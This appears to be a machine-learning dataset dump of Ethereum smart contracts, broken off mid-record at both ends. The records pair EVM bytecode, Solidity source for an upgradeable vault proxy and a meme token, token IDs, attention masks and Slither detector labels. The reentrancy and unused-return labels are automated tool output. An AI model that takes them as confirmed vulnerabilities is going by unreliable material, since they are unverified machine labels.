96c3190610e359085906114a6565b60405180910390a3505050565b610e4d848484610c06565b610e5984848484610fe3565b6109525760405162461bcd60e51b8152600401610575906114c4565b6060604051806080016040528060448152602001611a8460449139905090565b606081610eba57506040805180820190915260018152600360fc1b60208201526104b7565b8160005b8115610ee45780610ece816119fc565b9150610edd9050600a8361194b565b9150610ebe565b60008167ffffffffffffffff811115610f0d57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015610f37576020820181803683370190505b5090505b8415610bfe57610f4c60018361197e565b9150610f59600a86611a17565b610f64906030611933565b60f81b818381518110610f8757634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350610fa9600a8661194b565b9450610f3b565b610fba83836110fe565b610fc76000848484610fe3565b61062d5760405162461bcd60e51b8152600401610575906114c4565b6000610ff7846001600160a01b0316610ad3565b156110f357836001600160a01b031663150b7a02611013610b0f565b8786866040518563ffffffff1660e01b81526004016110359493929190611469565b602060405180830381600087803b15801561104f57600080fd5b505af192505050801561107f575060408051601f3d908101601f1916820190925261107c918101906113c6565b60015b6110d9573d8080156110ad576040519150601f19603f3d011682016040523d82523d6000602084013e6110b2565b606091505b5080516110d15760405162461bcd60e51b8152600401610575906114c4565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610bfe565b506001949350505050565b6001600160a01b0382166111245760405162461bcd60e51b81526004016105759061174a565b61112d81610af2565b1561114a5760405162461bcd60e51b81526004016105759061155c565b6111566000838361062d565b6001600160a01b038216600090815260036020526040812080546001929061117f908490611933565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b80356001600160a01b03811681146104b757600080fd5b600060208284031215611205578081fd5b6109d4826111dd565b60008060408385031215611220578081fd5b611229836111dd565b9150611237602084016111dd565b90509250929050565b600080600060608486031215611254578081fd5b61125d846111dd565b925061126b602085016111dd565b9150604084013590509250925092565b60008060008060808587031215611290578081fd5b611299856111dd565b935060206112a88187016111dd565b935060408601359250606086013567ffffffffffffffff808211156112cb578384fd5b818801915088601f8301126112de578384fd5b8135818111156112f0576112f0611a57565b604051601f8201601f191681018501838111828210171561131357611313611a57565b60405281815283820185018b1015611329578586fd5b81858501868301379081019093019390935250939692955090935050565b60008060408385031215611359578182fd5b611362836111dd565b915060208301358015158114611376578182fd5b809150509250929050565b60008060408385031215611393578182fd5b61139c836111dd565b946020939093013593505050565b6000602082840312156113bb578081fd5b81356109d481611a6d565b6000602082840312156113d7578081fd5b81516109d481611a6d565b6000602082840312156113f3578081fd5b5035919050565b60008151808452611412816020860160208601611995565b601f01601f19169290920160200192915050565b60008351611438818460208801611995565b83519083019061144c818360208801611995565b01949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061149c908301846113fa565b9695505050505050565b901515815260200190565b6000602082526109d460208301846113fa565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b90815260200190565b6000821982111561194657611946611a2b565b500190565b60008261195a5761195a611a41565b500490565b600081600019048311821515161561197957611979611a2b565b500290565b60008282101561199057611990611a2b565b500390565b60005b838110156119b0578181015183820152602001611998565b838111156109525750506000910152565b6002810460018216806119d557607f821691505b602082108114156119f657634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611a1057611a10611a2b565b5060010190565b600082611a2657611a26611a41565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610ad057600080fdfe68747470733a2f2f697066732e696f2f697066732f516d59754c4e76616e66566643344c5961464269707a46765147775676327a374d32727578476f355a69584339622fa2646970667358221220aa13ddaa4c48c18847b50ba597e315f2896f895dcfcb3822e07029a89d37bfb664736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 27421, 2683, 14141, 2475, 10322, 2497, 2094, 21057, 26224, 2278, 2546, 2692, 2509, 2497, 26224, 23777, 28154, 22394, 2581, 2546, 2094, 21926, 8586, 2692, 2278, 2620, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1014, 1006, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 14046, 1013, 1013, 2023, 2544, 1997, 3647, 18900, 2232, 2323, 2069, 2022, 2109, 2007, 5024, 3012, 1014, 1012, 1022, 2030, 2101, 1010, 1013, 1013, 2138, 2009, 16803, 2006, 1996, 21624, 1005, 1055, 2328, 1999, 2058, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,596
0x970CC1E0Bdb3B29a6A12BDE1954A8509acbC9158
pragma solidity 0.7.6; import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol"; import "./interface/IUniVaultV1.sol"; contract UniVaultProxy is UpgradeableProxy { constructor(address _logic, bytes memory _data) UpgradeableProxy(_logic, _data){} /** * The main logic. If the timer has elapsed and there is a schedule upgrade, * the governance can upgrade the vault */ function upgrade() external { (bool should, address newImplementation) = IUniVaultV1(address(this)).shouldUpgrade(); require(should, "Upgrade not scheduled"); _upgradeTo(newImplementation); // the finalization needs to be executed on itself to update the storage of this proxy // it also needs to be invoked by the governance, not by address(this), so delegatecall is needed (bool success, bytes memory result) = address(this).delegatecall( abi.encodeWithSignature("finalizeUpgrade()") ); require(success, "Issue when finalizing the upgrade"); } function implementation() external view returns (address) { return _implementation(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Proxy.sol"; import "../utils/Address.sol"; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. * * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see * {TransparentUpgradeableProxy}. */ contract UpgradeableProxy is Proxy { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) public payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if(_data.length > 0) { Address.functionDelegateCall(_logic, _data); } } /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal virtual { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newImplementation) } } } //SPDX-License-Identifier: Unlicense pragma solidity 0.7.6; interface IUniVaultV1 { function getStorage() external view returns (address); function shouldUpgrade() external view returns (bool, address); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040526004361061002d5760003560e01c80635c60da1b14610044578063d55ec697146100755761003c565b3661003c5761003a61008a565b005b61003a61008a565b34801561005057600080fd5b506100596100a4565b604080516001600160a01b039092168252519081900360200190f35b34801561008157600080fd5b5061003a6100b3565b6100926100a2565b6100a261009d6102b3565b6102d8565b565b60006100ae6102b3565b905090565b600080306001600160a01b0316639d16acfd6040518163ffffffff1660e01b8152600401604080518083038186803b1580156100ee57600080fd5b505afa158015610102573d6000803e3d6000fd5b505050506040513d604081101561011857600080fd5b508051602090910151909250905081610170576040805162461bcd60e51b8152602060048201526015602482015274155c19dc985919481b9bdd081cd8da19591d5b1959605a1b604482015290519081900360640190fd5b610179816102fc565b60408051600481526024810182526020810180516001600160e01b0316634d28464760e11b17815291518151600093849330939092909182918083835b602083106101d55780518252601f1990920191602091820191016101b6565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610235576040519150601f19603f3d011682016040523d82523d6000602084013e61023a565b606091505b50915091508161027b5760405162461bcd60e51b815260040180806020018281038252602181526020018061054b6021913960400191505060405180910390fd5b50505050565b60606102a6838360405180606001604052806027815260200161056c6027913961033c565b9392505050565b3b151590565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156102f7573d6000f35b3d6000fd5b6103058161043e565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6060610347846102ad565b6103825760405162461bcd60e51b81526004018080602001828103825260268152602001806105c96026913960400191505060405180910390fd5b600080856001600160a01b0316856040518082805190602001908083835b602083106103bf5780518252601f1990920191602091820191016103a0565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461041f576040519150601f19603f3d011682016040523d82523d6000602084013e610424565b606091505b50915091506104348282866104a6565b9695505050505050565b610447816102ad565b6104825760405162461bcd60e51b81526004018080602001828103825260368152602001806105936036913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b606083156104b55750816102a6565b8251156104c55782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561050f5781810151838201526020016104f7565b50505050905090810190601f16801561053c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe4973737565207768656e2066696e616c697a696e67207468652075706772616465416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65645570677261646561626c6550726f78793a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6e7472616374a264697066735822122002d7a56ab118065047c45f0ccc120df1fdd6ccea722ead1978a96d2ae6f0f38864736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 9468, 2487, 2063, 2692, 2497, 18939, 2509, 2497, 24594, 2050, 2575, 27717, 2475, 2497, 3207, 16147, 27009, 2050, 27531, 2692, 2683, 6305, 9818, 2683, 16068, 2620, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 24540, 1013, 12200, 3085, 21572, 18037, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 8278, 1013, 1045, 19496, 3567, 11314, 2615, 2487, 1012, 14017, 1000, 1025, 3206, 4895, 11444, 11314, 21572, 18037, 2003, 12200, 3085, 21572, 18037, 1063, 9570, 2953, 1006, 4769, 1035, 7961, 1010, 27507, 3638, 1035, 2951, 1007, 12200, 3085, 21572, 18037, 1006, 1035, 7961, 1010, 1035, 2951, 1007, 1063, 1065, 1013, 1008, 1008, 1008, 1996, 2364, 7961, 1012, 2065, 1996, 25309, 2038, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,597
0x970cdcf4cc81b9080ea3aa731f4d7c100633017f
/** - 日向ヒナタコイン - Hyūga Hinata Coin */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The 